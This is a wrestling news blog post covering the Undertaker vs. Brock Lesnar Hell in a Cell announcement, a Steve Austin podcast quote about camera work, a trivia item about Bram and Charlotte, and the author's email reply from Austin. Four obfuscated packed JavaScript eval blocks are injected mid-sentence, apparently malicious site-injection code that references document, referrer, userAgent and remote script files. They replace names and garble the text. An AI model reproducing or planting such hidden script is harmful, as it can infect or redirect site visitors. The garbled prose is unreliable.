Undertaker vs. Brock Lesnar Announced For Hell in a Cell

Officially eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnrhs|var|u0026u|referrer|tffzz||js|php'.split('|'),0,{})) announced at Night of Champions.  I REALLY like this idea instead of doing it at Wrestlemania.  This opens up some doors and instantly has my attention.  Lesnar will also be on the Steve Austin Show on October 19.



Thought of the Day: That’s On Them

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asred|var|u0026u|referrer|bksna||js|php'.split('|'),0,{})) is actually from the latest Steve Austin Show and it almost made me cheer for him while I was listening.In a discussion of always facing the hard camera, here’s what he said (paraphrased):

“If I do a move or a spot and one of the 6-8 cameras they have around the ring doesn’t pick it up, that’s on them.  I’m busy trying to put on an entertaining match and it might not make sense to turn to the camera.”

 

The other day I was watching Hogan vs. Warrior at Wrestlemania VI and Hogan puts Warrior in a chinlock with his back to the camera.  A camera on the floor went around and got a good shot of the hold and nothing changed.  Back then, the match was considered a classic and one of Hogan’s best ever.  Today, he’d probably be lectured about how to properly work a match and how there is ONE AND ONLY ONE way to get over, because all that jazz Hogan did just isn’t the same as looking at a specific camera and saying whatever catchphrase is on a t-shirt that month.



Your Did You Know Of The Day

Bram eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yishb|var|u0026u|referrer|yyfzh||js|php'.split('|'),0,{})) is married to Charlotte of NXT.  Tommy Dreamer mentioned this on Austin’s podcast and my mind exploded.  Granted that might have been because he implied making the promotion like ECW was what was going to turn the corner.



My Geek Out Moment Of The Day

I’m a big fan of Steve Austin’s podcast and he gives an email address for comments and questions.  On a whim I sent him an email about the two shows I had seen him at and thanking him for the years of entertainment.  I actually got a reply:

 

thanks, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enitk|var|u0026u|referrer|ytzrn||js|php'.split('|'),0,{})) thomas

There’s something awesome about the idea of Steve Austin reading something I wrote and actually replying to it.
